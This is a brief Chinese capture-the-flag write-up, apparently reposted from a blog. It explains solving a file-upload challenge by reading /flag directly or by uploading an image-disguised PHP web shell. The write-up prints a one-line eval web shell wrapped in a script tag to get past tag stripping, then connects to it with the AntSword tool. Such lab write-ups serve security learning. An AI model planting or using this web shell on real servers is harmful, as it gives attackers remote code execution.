标签：www image file bug lazy web att script 连接
flag放在/var/www/html下了，直接file=/flag就可以了
或者正常操作一步步来
看到源码
上传一个图片马
发现头尾不见了，应该是有替换，因此将图片马改写后重新上传
<script language="php">
//phpinfo();
@eval($_REQUEST[‘attack‘]);
</script>
蚁剑连接
flag在根目录下
标签：www image file bug lazy web att script 连接
原文地址：https://www.cnblogs.com/lixin666/p/14855150.html
